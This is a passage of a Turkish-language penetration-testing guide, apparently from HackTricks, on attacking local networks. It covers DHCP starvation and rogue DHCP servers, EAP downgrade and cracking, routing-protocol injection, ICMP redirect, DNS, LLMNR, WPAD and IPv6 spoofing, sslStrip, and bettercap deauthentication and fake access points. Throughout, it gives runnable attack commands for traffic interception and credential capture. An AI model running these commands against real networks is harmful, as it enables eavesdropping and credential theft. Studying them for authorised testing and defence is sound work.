DHCP DoS gerçekleştirmenin başka bir yolu, her mümkün IP'yi kaynak kod olarak kullanarak bir DHCP-RELEASE paketi göndermektir. Ardından, sunucu, herkesin IP'yi kullanmayı bitirdiğini düşünecektir.
yersinia dhcp -attack 1
yersinia dhcp -attack 3 #More parameters are needed
Daha otomatik bir yol, DHCPing aracını kullanmaktır.
Bahsedilen DoS saldırılarını kullanarak istemcileri yeni kiralama almak zorunda bırakabilir ve meşru sunucuları tüketerek yanıt vermez hale getirebilirsiniz. Bu durumda meşru sunucular yeniden bağlanmaya çalıştığında, aşağıdaki saldırıda belirtilen kötü niyetli değerleri sunabilirsiniz.
Kötü niyetli değerler ayarla
Bir sahte DHCP sunucusu, /usr/share/responder/DHCP.py
konumundaki DHCP betiği kullanılarak kurulabilir. Bu, HTTP trafiğini ve kimlik bilgilerini yakalayarak ağ saldırıları için yararlıdır, trafiği kötü niyetli bir sunucuya yönlendirerek. Ancak, sahte bir ağ geçidi kurmak, yalnızca istemciden çıkan trafiği yakalamasına izin verdiği için daha az etkilidir, gerçek ağ geçidinden gelen yanıtları kaçırır. Bunun yerine, daha etkili bir saldırı için sahte bir DNS veya WPAD sunucusu kurmanız önerilir.
Aşağıda sahte DHCP sunucusunu yapılandırmak için komut seçenekleri bulunmaktadır:
- IP Adresimiz (Ağ Geçidi İlanı): Makinenizin IP'sini ağ geçidi olarak ilan etmek için
-i 10.0.0.100
kullanın. - Yerel DNS Alan Adı: İsteğe bağlı olarak, yerel bir DNS alan adı belirlemek için
-d example.org
kullanın. - Orijinal Yönlendirici/Ağ Geçidi IP'si: Meşru yönlendirici veya ağ geçidinin IP adresini belirtmek için
-r 10.0.0.1
kullanın. - Birincil DNS Sunucusu IP'si: Kontrol ettiğiniz sahte DNS sunucusunun IP adresini belirlemek için
-p 10.0.0.100
kullanın. - İkincil DNS Sunucusu IP'si: İsteğe bağlı olarak, ikincil bir DNS sunucusu IP'si belirlemek için
-s 10.0.0.1
kullanın. - Yerel Ağın Netmask'ı: Yerel ağ için netmask'ı tanımlamak için
-n 255.255.255.0
kullanın. - DHCP Trafik İçin Arayüz: Belirli bir ağ arayüzünde DHCP trafiğini dinlemek için
-I eth1
kullanın. - WPAD Yapılandırma Adresi: Web trafiğini ele geçirmede yardımcı olmak için
-w “http://10.0.0.100/wpad.dat”
kullanarak WPAD yapılandırma adresini belirleyin. - Varsayılan Ağ Geçidi IP'sini Sahteleştir: Varsayılan ağ geçidi IP adresini sahtelemek için
-S
ekleyin. - Tüm DHCP İsteklerine Yanıt Ver: Sunucunun tüm DHCP isteklerine yanıt vermesi için
-R
ekleyin, ancak bu gürültülüdür ve tespit edilebilir olduğunu unutmayın.
Bu seçenekleri doğru bir şekilde kullanarak, bir sahte DHCP sunucusu ağ trafiğini etkili bir şekilde ele geçirebilir.
# Example to start a rogue DHCP server with specified options
!python /usr/share/responder/DHCP.py -i 10.0.0.100 -d example.org -r 10.0.0.1 -p 10.0.0.100 -s 10.0.0.1 -n 255.255.255.0 -I eth1 -w "http://10.0.0.100/wpad.dat" -S -R
EAP Saldırıları
Aşağıda 802.1X uygulamalarına karşı kullanılabilecek saldırı taktiklerinden bazıları bulunmaktadır:
- EAP aracılığıyla aktif kaba kuvvet saldırısı
- RADIUS sunucusuna hatalı EAP içeriği ile saldırılar (sömürüler)
- EAP iletilerinin yakalanması ve çevrimdışı şifre kırma (EAP-MD5 ve PEAP)
- EAP-MD5 kimlik doğrulamasını zorlayarak TLS sertifika doğrulamasını atlatma
- Hub veya benzeri bir cihaz kullanarak kimlik doğrulama sırasında kötü amaçlı ağ trafiği enjekte etme
Eğer saldırgan, kurban ile kimlik doğrulama sunucusu arasındaysa, kimlik doğrulama protokolünü gerektiğinde EAP-MD5'e düşürmeye çalışabilir ve kimlik doğrulama girişimini yakalayabilir. Daha sonra bunu kaba kuvvet saldırısıyla çözmeye çalışabilir:
eapmd5pass –r pcap.dump –w /usr/share/wordlist/sqlmap.txt
FHRP (GLBP & HSRP) Saldırıları
FHRP (First Hop Redundancy Protocol), sıcak yedekli yönlendirme sistemi oluşturmak için tasarlanmış bir ağ protokolü sınıfıdır. FHRP ile fiziksel yönlendiriciler tek bir mantıksal cihaza birleştirilebilir, bu da hata toleransını artırır ve yükü dağıtmaya yardımcı olur.
Cisco Systems mühendisleri, GLBP ve HSRP olmak üzere iki FHRP protokolü geliştirmiştir.
{% content-ref url="glbp-and-hsrp-attacks.md" %} glbp-and-hsrp-attacks.md {% endcontent-ref %}
RIP
Yönlendirme Bilgi Protokolü'nün (RIP) üç versiyonu bulunmaktadır: RIP, RIPv2 ve RIPng. RIP ve RIPv2 tarafından UDP kullanılarak 520 numaralı porta datagramlar gönderilirken, RIPng tarafından IPv6 çoklu yayın kullanılarak datagramlar 521 numaralı UDP porta yayınlanır. RIPv2 tarafından MD5 kimlik doğrulaması desteği getirilmiştir. Öte yandan, RIPng tarafından yerel kimlik doğrulama dahil edilmemiştir; bunun yerine IPv6 içindeki isteğe bağlı IPsec AH ve ESP başlıklarına güvenilmektedir.
- RIP ve RIPv2: İletişim UDP datagramları aracılığıyla 520 numaralı port üzerinden gerçekleştirilir.
- RIPng: IPv6 çoklu yayın kullanarak datagramları yayınlamak için UDP portu 521'i kullanır.
RIPv2'nin MD5 kimlik doğrulamasını desteklediğini, RIPng'nin ise yerel kimlik doğrulama içermediğini ve IPv6 içindeki IPsec AH ve ESP başlıklarına güvendiğini unutmayın.
EIGRP Saldırıları
EIGRP (Enhanced Interior Gateway Routing Protocol) dinamik bir yönlendirme protokolüdür. Kimlik doğrulaması olmadığında ve pasif arayüzlerin yapılandırılmadığında, bir saldırgan EIGRP yönlendirmesine müdahale edebilir ve yönlendirme tablolarını zehirleyebilir. Ayrıca, EIGRP ağı (başka bir deyişle, özerk sistem) düz ve herhangi bir bölgeye bölünmemiştir. Bir saldırgan bir rota enjekte ederse, bu rotanın özerk EIGRP sistemi boyunca yayılma olasılığı yüksektir.
Bir EIGRP sistemine saldırmak, meşru bir EIGRP yönlendirici ile bir komşuluk kurmayı gerektirir, bu da temel keşiften çeşitli enjeksiyonlara kadar birçok olasılığı ortaya çıkarır.
FRRouting, BGP, OSPF, EIGRP, RIP ve diğer protokolleri destekleyen sanal bir yönlendiriciyi uygulamanıza olanak tanır. Yapmanız gereken tek şey, saldırganınızın sistemine dağıtmak ve yönlendirme alanında meşru bir yönlendirici gibi davranabilirsiniz.
{% content-ref url="eigrp-attacks.md" %} eigrp-attacks.md {% endcontent-ref %}
Coly, EIGRP (Enhanced Interior Gateway Routing Protocol) yayınlarını dinlemek ve yönlendirme yapılandırmalarını değiştirmek için kullanılabilecek paketleri enjekte etmeye olanak tanır.
OSPF
Açık En Kısa Yol İlk (OSPF) protokolünde genellikle güvenli iletişimi sağlamak için MD5 kimlik doğrulaması kullanılmaktadır. Bununla birlikte, bu güvenlik önlemi, Loki ve John the Ripper gibi araçlar kullanılarak tehlikeye atılabilir. Bu araçlar, MD5 karmaşalarını yakalayıp kırabilme yeteneğine sahiptir, kimlik doğrulama anahtarını ortaya çıkararak. Bu anahtar elde edildiğinde, yeni yönlendirme bilgileri eklemek için kullanılabilir. Rota parametrelerini yapılandırmak ve tehlikeye atılan anahtarı kurmak için sırasıyla Enjeksiyon ve Bağlantı sekmeleri kullanılır.
- MD5 Karmaşalarını Yakalama ve Kırma: Bu amaçla Loki ve John the Ripper gibi araçlar kullanılır.
- Rota Parametrelerini Yapılandırma: Bu, Enjeksiyon sekmesi aracılığıyla yapılır.
- Tehlikeye Atılan Anahtarı Ayarlama: Anahtar, Bağlantı sekmesi altında yapılandırılır.
Diğer Genel Araçlar ve Kaynaklar
- Above: Ağ trafiğini taramak ve güvenlik açıklarını bulmak için araç
- Ağ saldırıları hakkında daha fazla bilgiyi burada bulabilirsiniz.
Sahtecilik
Saldırgan, sahte DHCP yanıtları göndererek ağın yeni üyesinin tüm ağ parametrelerini (GW, IP, DNS) yapılandırır.
Ettercap
yersinia dhcp -attack 2 #More parameters are needed
ARP Zehirlenmesi
Önceki bölüme bakın.
ICMP Yönlendirme
ICMP Yönlendirme, saldırganın bir IP'ye ulaşmanın en iyi yolunun kendisi olduğunu belirten bir ICMP paketi türü 1 kod 5 göndermesinden oluşur. Ardından, kurban belirtilen IP'ye ulaşmak istediğinde paketi saldırgan aracılığıyla gönderecektir.
Ettercap
icmp_redirect
hping3 [VICTIM IP ADDRESS] -C 5 -K 1 -a [VICTIM DEFAULT GW IP ADDRESS] --icmp-gw [ATTACKER IP ADDRESS] --icmp-ipdst [DST IP ADDRESS] --icmp-ipsrc [VICTIM IP ADDRESS] #Send icmp to [1] form [2], route to [3] packets sent to [4] from [5]
DNS Sahtekarlığı
Saldırgan, kurbanın sorduğu bazı (veya tüm) alan adlarını çözecektir.
set dns.spoof.hosts ./dns.spoof.hosts; dns.spoof on
dnsmasq ile kendi DNS'inizi yapılandırın
apt-get install dnsmasqecho "addn-hosts=dnsmasq.hosts" > dnsmasq.conf #Create dnsmasq.confecho "127.0.0.1 domain.example.com" > dnsmasq.hosts #Domains in dnsmasq.hosts will be the domains resolved by the Dsudo dnsmasq -C dnsmasq.conf --no-daemon
dig @localhost domain.example.com # Test the configured DNS
Yerel Ağ Geçitleri
Sistemlere ve ağlara birden fazla yol genellikle mevcuttur. Yerel ağ içindeki MAC adreslerinin bir listesini oluşturduktan sonra, IPv4 yönlendirmeyi destekleyen ana bilgisayarları tanımlamak için gateway-finder.py dosyasını kullanın.
root@kali:~# git clone https://github.com/pentestmonkey/gateway-finder.git
root@kali:~# cd gateway-finder/
root@kali:~# arp-scan -l | tee hosts.txt
Interface: eth0, datalink type: EN10MB (Ethernet)
Starting arp-scan 1.6 with 256 hosts (http://www.nta-monitor.com/tools/arp-scan/)
10.0.0.100 00:13:72:09:ad:76 Dell Inc.
10.0.0.200 00:90:27:43:c0:57 INTEL CORPORATION
10.0.0.254 00:08:74:c0:40:ce Dell Computer Corp.
root@kali:~/gateway-finder# ./gateway-finder.py -f hosts.txt -i 209.85.227.99
gateway-finder v1.0 http://pentestmonkey.net/tools/gateway-finder
[+] Using interface eth0 (-I to change)
[+] Found 3 MAC addresses in hosts.txt
[+] We can ping 209.85.227.99 via 00:13:72:09:AD:76 [10.0.0.100]
[+] We can reach TCP port 80 on 209.85.227.99 via 00:13:72:09:AD:76 [10.0.0.100]
LLMNR, NBT-NS ve mDNS Sahteciliği
Microsoft sistemleri, DNS sorguları başarısız olduğunda yerel ana bilgisayar çözümlemesi için Link-Local Multicast Name Resolution (LLMNR) ve NetBIOS Name Service (NBT-NS)'ye güvenir. Benzer şekilde, Apple Bonjour ve Linux sıfır yapılandırma uygulamaları, ağ içindeki sistemleri keşfetmek için Multicast DNS (mDNS) kullanır. Bu protokollerin kimlik doğrulamasız doğası ve UDP üzerinden işlem görmeleri nedeniyle, saldırganlar tarafından kötü niyetli hizmetlere yönlendirmek amacıyla istismar edilebilirler.
Yanıtlayıcıyı kullanarak, ana bilgisayarlar tarafından aranan hizmetleri taklit edebilirsiniz.
Daha fazla bilgi için Yanıtlayıcı ile hizmetleri taklit etme sayfasını okuyun.
WPAD Sahteciliği
Tarayıcılar genellikle Web Proxy Auto-Discovery (WPAD) protokolünü kullanarak otomatik olarak proxy ayarlarını alırlar. Bu, özellikle "http://wpad.example.org/wpad.dat" gibi bir URL aracılığıyla sunucudan yapılandırma ayrıntılarını almayı içerir. İstemcilerin bu sunucuyu keşfetmesi çeşitli mekanizmalar aracılığıyla gerçekleşebilir:
- DHCP aracılığıyla, keşif özel bir kod 252 girişi kullanılarak kolaylaştırılır.
- DNS ile, yerel etki alanında wpad etiketli bir ana bilgisayar adı aranması içerir.
- Microsoft LLMNR ve NBT-NS aracılığıyla, DNS sorgularının başarısız olduğu durumlarda kullanılan yedek mekanizmalar arasında yer alır.
Yanıtlayıcı aracı, kötü niyetli bir WPAD sunucusu olarak bu protokolden faydalanır. İstemcileri yanıltmak için DHCP, DNS, LLMNR ve NBT-NS'yi kullanır. Yanıtlayıcıyı kullanarak hizmetlerin nasıl taklit edilebileceğine daha detaylı olarak bakmak için buraya göz atın.
SSDP ve UPnP Cihazları Sahteciliği
Ağda farklı hizmetler sunarak bir kullanıcıyı aldatmaya ve bazı düz metin kimlik bilgilerini girmesine ikna etmeye çalışabilirsiniz. Bu saldırı hakkında daha fazla bilgi için SSDP ve UPnP Cihazları Sahteciliği** sayfasına bakın.**
IPv6 Komşu Sahteciliği
Bu saldırı, ARP Sahteciliği ile çok benzerdir ancak IPv6 dünyasında gerçekleşir. Kurbanı, ağ geçidinin IPv6'sının saldırganın MAC adresine sahip olduğunu düşündürebilirsiniz.
sudo parasite6 -l eth0 # This option will respond to every requests spoofing the address that was requested
sudo fake_advertise6 -r -w 2 eth0 <Router_IPv6> #This option will send the Neighbor Advertisement packet every 2 seconds
IPv6 Yönlendirici İlanı Sahteciliği/Floodlama
Bazı işletim sistemleri, ağda gönderilen RA paketlerinden varsayılan olarak ağ geçidini yapılandırır. Saldırganı IPv6 yönlendirici olarak belirtmek için şunları kullanabilirsiniz:
sysctl -w net.ipv6.conf.all.forwarding=1 4
ip route add default via <ROUTER_IPv6> dev wlan0
fake_router6 wlan0 fe80::01/16
IPv6 DHCP spoofing
Varsayılan olarak bazı işletim sistemleri, ağdaki bir DHCPv6 paketini okuyarak DNS'i yapılandırmaya çalışır. Sonra, bir saldırgan kendisini DNS olarak yapılandırmak için bir DHCPv6 paketi gönderebilir. DHCP ayrıca kurban için bir IPv6 sağlar.
dhcp6.spoof on
dhcp6.spoof.domains <list of domains>
mitm6
HTTP (sahte sayfa ve JS kodu enjeksiyonu)
İnternet Saldırıları
sslStrip
Bu saldırının temel olarak yaptığı şey, kullanıcının erişmeye çalıştığı bir HTTP sayfasının HTTPS sürümüne yönlendirme yapması durumunda, sslStrip'in istemci ile HTTP bağlantısını ve sunucu ile HTTPS bağlantısını sürdürmesidir, böylece bağlantıyı düz metin olarak dinleyebilir.
apt-get install sslstrip
sslstrip -w /tmp/sslstrip.log --all - l 10000 -f -k
#iptables --flush
#iptables --flush -t nat
iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 10000
iptables -A INPUT -p tcp --destination-port 10000 -j ACCEPT
Daha fazla bilgi burada.
HSTS'i atlatmak için sslStrip+ ve dns2proxy
sslStrip+ ve dns2proxy'nin sslStrip'e karşı farkı, örneğin www.facebook.com'u wwww.facebook.com (ekstra "w" ile) yönlendirecek ve bu alanın adresini saldırgan IP olarak ayarlayacak olmalarıdır. Bu şekilde, istemci wwww.facebook.com (saldırgan)'a bağlanacak ancak arka planda sslstrip+, www.facebook.com ile https üzerinden gerçek bağlantıyı sürdürecektir.
Bu teknikteki amaç, wwww.facebook.com HSTS'yi atlamak olduğundan, tarayıcının önbelleğe alınmayacak şekilde oluşturulduğundan, tarayıcı facebook kimlik doğrulamasını HTTP üzerinden gerçekleştirmeye kandırılacaktır.
Bu saldırıyı gerçekleştirmek için kurbanın başlangıçta http://www.faceook.com adresine erişmeye çalışması gerekmektedir ve https değil. Bu, bir http sayfası içindeki bağlantıları değiştirerek yapılabilir.
Daha fazla bilgi burada, burada ve burada.
sslStrip veya sslStrip+ artık çalışmıyor. Bunun nedeni tarayıcılarda önceden kaydedilmiş HSTS kurallarının olmasıdır, bu yüzden bir kullanıcının "önemli" bir alanı ilk kez ziyaret etse bile HTTPS üzerinden erişecektir. Ayrıca, önceden kaydedilmiş kuralların ve diğer oluşturulan kuralların includeSubdomains
bayrağını kullanabileceğini unutmayın, bu nedenle önceki örnekteki wwww.facebook.com artık çalışmayacak çünkü facebook.com includeSubdomains
ile HSTS kullanır.
TODO: easy-creds, evilgrade, metasploit, factory
Port'ta TCP dinle
sudo nc -l -p 80
socat TCP4-LISTEN:80,fork,reuseaddr -
TCP + SSL dinleme portunda
Anahtarları ve öz imzalı sertifikayı oluşturun
FILENAME=server
# Generate a public/private key pair:
openssl genrsa -out $FILENAME.key 1024
# Generate a self signed certificate:
openssl req -new -key $FILENAME.key -x509 -sha256 -days 3653 -out $FILENAME.crt
# Generate the PEM file by just appending the key and certificate files:
cat $FILENAME.key $FILENAME.crt >$FILENAME.pem
Sertifika kullanarak dinle
sudo socat -v -v openssl-listen:443,reuseaddr,fork,cert=$FILENAME.pem,cafile=$FILENAME.crt,verify=0 -
Sertifika kullanarak dinle ve ana bilgisayarlara yönlendir
sudo socat -v -v openssl-listen:443,reuseaddr,fork,cert=$FILENAME.pem,cafile=$FILENAME.crt,verify=0 openssl-connect:[SERVER]:[PORT],verify=0
Bazen, müşteri CA'nın geçerli olup olmadığını kontrol ederse, CA tarafından imzalanmış başka bir ana bilgisayar adının sertifikasını sunabilirsiniz.
Başka bir ilginç test, istenen ana bilgisayar adının kendi kendine imzalı bir sertifikasını sunmaktır.
Denenecek diğer şeyler arasında, geçerli bir CA olmayan geçerli bir sertifika ile sertifikayı imzalamayı denemek bulunmaktadır. Veya geçerli genel anahtarı kullanarak, gerçek özel anahtarla hiçbir şeyi şifrelemeye gerek olmayan bir algoritmayı (örneğin diffie hellman) kullanmaya zorlamak ve istemci gerçek özel anahtarın bir sondasını (örneğin bir hash) istediğinde sahte bir sondası gönderip istemcinin bunu kontrol etmediğini ummaktır.
Bettercap
# Events
events.stream off #Stop showing events
events.show #Show all events
events.show 5 #Show latests 5 events
events.clear
# Ticker (loop of commands)
set ticker.period 5; set ticker.commands "wifi.deauth DE:AD:BE:EF:DE:AD"; ticker on
# Caplets
caplets.show
caplets.update
# Wifi
wifi.recon on
wifi.deauth BSSID
wifi.show
# Fake wifi
set wifi.ap.ssid Banana
set wifi.ap.bssid DE:AD:BE:EF:DE:AD
set wifi.ap.channel 5
set wifi.ap.encryption false #If true, WPA2
wifi.recon on; wifi.ap
Aktif Keşif Notları
UDP paketi istenilen bağlantı noktasına sahip olmayan bir cihaza gönderildiğinde bir ICMP (Port Ulaşılamaz) paketi gönderilir.
ARP keşfi
ARP paketleri ağ içinde hangi IP'lerin kullanıldığını keşfetmek için kullanılır. Bilgisayar her olası IP adresi için bir istek göndermeli ve yalnızca kullanılan IP'ler yanıt verecektir.
mDNS (çoklu DNS)
Bettercap, _services_.dns-sd._udp.local için bir MDNS isteği gönderir (her X ms) ve bu paketi gören makine genellikle bu isteği yanıtlar. Daha sonra, yalnızca "hizmetlere" yanıt veren makineleri arar.
Araçlar
- Avahi-browser (--all)
- Bettercap (net.probe.mdns)
- Responder
NBNS (NetBios Adı Sunucusu)
Bettercap, "CKAAAAAAAAAAAAAAAAAAAAAAAAAAA" adını sorarak 137/UDP bağlantı noktasına yayın yapar.
SSDP (Basit Hizmet Keşif Protokolü)
Bettercap, tüm türde hizmetleri aramak için SSDP paketlerini yayınlar (UDP Bağlantı Noktası 1900).
WSD (Web Hizmet Keşfi)
Bettercap, hizmetleri aramak için WSD paketlerini yayınlar (UDP Bağlantı Noktası 3702).
Referanslar
- https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9
- Network Security Assessment: Know Your Network (3. baskı)
- Practical IoT Hacking: The Definitive Guide to Attacking the Internet of Things. By Fotios Chantzis, Ioannis Stais, Paulino Calderon, Evangelos Deirmentzoglou, Beau Wood
- https://medium.com/@cursedpkt/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9
Hata ödülü ipucu: Intigriti'ye kaydolun, hackerlar tarafından oluşturulan bir premium hata ödülü platformuna! Bugün bize https://go.intigriti.com/hacktricks katılın ve 100.000 $'a kadar ödüller kazanmaya başlayın!
{% embed url="https://go.intigriti.com/hacktricks" %}
Sıfırdan kahraman olmak için AWS hackleme öğrenin htARTE (HackTricks AWS Red Team Expert)!
HackTricks'ı desteklemenin diğer yolları:
- Şirketinizi HackTricks'te reklamınızı görmek veya HackTricks'i PDF olarak indirmek istiyorsanız ABONELİK PLANLARI'na göz atın!
- Resmi PEASS & HackTricks ürünlerini edinin
- The PEASS Family'yi keşfedin, özel NFT'lerimiz koleksiyonumuz
- 💬 Discord grubuna veya telegram grubuna katılın veya bizi Twitter 🐦 @hacktricks_live'da takip edin.
- Hacking püf noktalarınızı göndererek HackTricks ve HackTricks Cloud github depolarına PR göndererek paylaşın.